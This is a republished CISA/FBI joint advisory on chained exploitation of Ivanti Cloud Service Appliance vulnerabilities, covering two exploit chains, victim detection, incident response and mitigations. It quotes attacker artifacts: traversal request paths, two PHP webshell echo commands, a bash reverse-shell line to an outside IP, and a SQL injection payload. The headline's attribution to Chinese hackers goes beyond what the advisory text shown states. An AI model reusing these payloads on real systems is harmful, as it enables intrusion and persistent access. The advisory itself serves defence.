WARNING: Chinese Hackers Used Advanced Exploit Chains To Hack Ivanti Cloud Service Appliances (CSA)

The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) have released a joint Cybersecurity Advisory in response to exploitation in September 2024 of vulnerabilities in Ivanti Cloud Service Appliances (CSA): CVE-2024-8963, an administrative bypass vulnerability; CVE-2024-9379, a SQL injection vulnerability; and CVE-2024-8190?and CVE-2024-9380, remote code execution vulnerabilities.

According to CISA and trusted third-party incident response data, threat actors chained the listed vulnerabilities to gain initial access, conduct remote code execution (RCE), obtain credentials, and implant webshells on victim networks. The actors’ primary exploit paths were two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380 and the other exploited CVE-2024-8963 and CVE-2024-9379. In one confirmed compromise, the actors moved laterally to two servers.

All four vulnerabilities affect Ivanti CSA version 4.6x versions before 519, and two of the vulnerabilities (CVE-2024-9379 and CVE-2024-9380) affect CSA versions 5.0.1 and below; according to Ivanti, these CVEs have not been exploited in version 5.0.[1]

Ivanti CSA 4.6 is End-of-Life (EOL) and no longer receives patches or third-party libraries. CISA and FBI strongly encourage network administrators to upgrade to the latest supported version of Ivanti CSA.?Network defenders are encouraged to hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory. Credentials and sensitive data stored within the affected Ivanti appliances should be considered compromised. Organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.

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Technical Details

Note: This advisory uses the?MITRE ATT&CK? Matrix for Enterprise framework, version 16.

In September 2024, Ivanti released two Security Advisories disclosing exploitation of CVE-2024-8190 and?CVE-2024-8963.[2][3] In October 2024, Ivanti released another advisory disclosing exploitation of CVE-2024-9379 and CVE-2024-9380.[1]

• CVE-2024-8963 [CWE-22: Path Traversal] is an administrate bypass vulnerability that allows threat actors to remotely access restricted features within the appliance. When used in conjunction with CVE-2024-8190 [CWE-78: OS Command Injection], threat actors can remotely authenticate into a victims’ network and execute arbitrary commands on the appliance [T1219].[2][3]
• CVE-2024-9379 [CWE-89: SQL Injection] allows a remote authenticated attacker with admin privileges to run arbitrary SQL statements.[1]
• CVE-2024-9380 [CWE-77: Command Injection] allows a remote authenticated attacker with admin privileges to obtain RCE.[1]

According to Ivanti’s advisories and industry reporting, these vulnerabilities were exploited as zero days.[4] Based on evidence of active exploitation, CISA added CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 to its?Known Exploited Vulnerabilities (KEV) Catalog.

According to CISA and trusted third-party incident response data, threat actors chained the above listed vulnerabilities to gain initial access, conduct RCE, obtain credentials, and implant webshells on victim networks. The primary exploit paths included two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380. The other chain exploited CVE-2024-8963 and CVE-2024-9379. After exploitation, the actors moved laterally in one victim—other victims had no follow-on activity because they identified anomalous activity and implemented mitigation measures.

Exploit Chain 1

The threat actors leveraged CVE-2024-8963 in conjunction with remote code execution vulnerabilities, CVE-2024-8190 and CVE-2024-9380. Acting as a?nobody user [T1564.002], the threat actors first sent a?GET request to?datetime.php to acquire session and cross-site request forgery (CSRF) tokens using?GET /client/index.php%3F.php/gsb/datetime[.]php [T1071.001]. They followed this in quick succession with a?POST request to the same endpoint, using the?TIMEZONE input field to manipulate the?setSystemTimeZone function and execute code. In some confirmed compromises, the actors used this method to run base64-encoded Python scripts that harvested encrypted admin credentials from the database [T1552.001].

Note: The actors used multiple script variations.

In some cases, the threat actors exfiltrated the encrypted admin credentials then decrypted them offline [TA0010]. In other cases, the threat actors leveraged an executable matching the regular expression?php\w{6} located in the /tmp directory to decrypt the credentials prior to exfiltration—this tool was unrecoverable.

After obtaining credentials, the actors logged in and exploited CVE-2024-9380 to execute commands from a higher privileged account. The actors successfully sent a?GET request to?/gsb/reports[.]php. They immediately followed this with a?POST request using the?TW_ID input field to execute code to implant webshells for persistence [T1505.003].

In one confirmed compromise, the threat actors tried to create webshells using two different paths:

• echo "<?php system(@ \$_REQUEST['a']);">/opt/ivanti/csa/broker/webroot/client/help.php
• echo "<?php system('/bin/sudo '. @ \$_REQUEST['a']);" > /opt/landesk/broker/webroot/gsb/help.php

In the same compromise, the actors used the exploit to execute the following script to create a reverse Transmission Control Protocol command and control (C2) channel:?bash -i >&/dev/tcp/107.173.89[.]16/8000 0>&1.

In another compromise, the threat actors maintained their presence on the victim’s system for a longer amount of time. The threat actors used?sudo commands to disable the vulnerability in?DateTimeTab.php, modify and remove webshells, and remove evidence of exploitation [T1548.003]. See Appendix B for the list of?sudo commands used.

Lateral Movement

In one case, there was evidence of lateral movement after the threat actors gained access and established a foothold through this exploit chain. It is suspected that the threat actors gained access into a Jenkins server running a vulnerable, outdated version [T1068]. Logs on the Jenkins machine showed that a command in the bash history contained credentials to the postgres server. The threat actors then attempted to log into the Virtual Private Network (VPN) server but were unsuccessful. Prior to moving laterally, the actors likely performed discovery on the CSA device using Obelisk and GoGo to scan for vulnerabilities [T1595.002].

Exploit Chain 2

In one confirmed compromise, the actors used a similar exploit chain, exploiting CVE-2024-8963 in conjunction with CVE-2024-9379, using?GET /client/index.php%3f.php/gsb/broker.php for initial access.

After the threat actors gained initial access, they attempted to exploit CVE-2024-9379 to create a webshell to gain persistent access. They executed?GET and?POST requests in quick succession to?/client/index.php%3F.php/gsb/broker.php. In the?POST body, threat actors entered the following string in the lockout attempts input box:?LOCKOUTATTEMPTS = 1 ;INSERT INTO user_info(username, accessed, attempts) VALUES ('''echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>/.k''', NOW(), 10). The first portion of the command?(LOCKOUTATTEMPTS=1) fit the format of the application and was properly handled by the application. However, the second portion of the command, a SQL injection [T1190], was not properly handled by the application. Regardless, the application processed both commands, allowing the threat actors to insert a user into the?user_info table.

After inserting valid bash code as a user in the?user_info table, the threat actors attempted to login as the user. The authoring agencies believe the threat actors knew this login would fail but were attempting to coerce the application into handling the bash code improperly. In this attempt, the application did not evaluate the validity of the login, but instead ran?echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>./k as if it were code. The threat actors repeated the process of echo commands until they built a valid web shell [T1059]. However, there were no observations that the threat actors were successful.

Detection of Activity

According to incident response data from three victim organizations, the actors were unsuccessful with follow-on activity due to the organizations’ rapid detection of the malicious activity. To remediate exploitation, all three organizations replaced the virtual machines with clean and upgraded versions.

Victim Organization 1

The first organization detected malicious activity early in the exploitation. A system administrator detected the anomalous creation of user accounts. After investigation, the organization remediated the incident. While it is likely admin credentials were exfiltrated, there were no signs of lateral movement.

Victim Organization 2

This organization had an endpoint protection platform (EPP) installed on their system that alerted when the threat actors executed base64 encoded script to create webshells. There were no indications of webshells successfully being created or of lateral movement.

Victim Organization 3

This organization leveraged the IOC findings from the other two victim sites to quickly detect malicious activity. This threat activity included the download and deployment of Obelisk and GoGo Scanner, which generated a large number of logs. The organization used these logs to identify anomalous activity.

Incident Response

If compromise is detected, the authoring agencies recommend that organizations:

1. Quarantine or take offline potentially affected hosts.
2. Reimage compromised hosts.
3. Provision new account credentials.
4. For Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol and AD.
5. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections. Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
6. Report the compromise to relevant cyber agency in your country

Mitigations

CISA and FBI recommend organizations:?

• Upgrade to the latest supported version of Ivanti CSA immediately for continued support.[3] Please note that?Ivanti CSA 4.6 is EOL and no longer receives patches or third-party libraries. Customers must upgrade to the latest version of the product for continued support.
• Install endpoint detection and response (EDR) on the system to alert network defenders on unusual and potentially malicious activity.
• Establish a baseline and maintain detailed logs of network traffic, account behavior, and software.?This can assist network defenders in identifying anomalies that may indicate malicious activity more quickly.
• Keep all operating systems, software, and firmware up to date.?Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
• Secure remote access tools by:Implementing application controls to manage and control software execution, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
• Strictly limit the use of remote desktop protocol (RDP) and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:Audit the network for systems using RDP.Close unused RDP ports.Enforce account lockouts after a specified number of attempts.Apply phishing-resistant multifactor authentication (MFA).Log RDP login attempts.
• Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
• Follow best cybersecurity practices in your production and enterprise environments,including mandating?phishing-resistant multifactor authentication (MFA) for all staff and services. For additional best practices, see CISA’s?Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common tactics, techniques, and procedures. Because the CPGs are a subset of best practices, CISA and FBI also recommend software manufacturers implement a comprehensive information security program based on a recognized framework, such as the?NIST Cybersecurity Framework (CSF).

Validate Security Controls

In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Download the full report here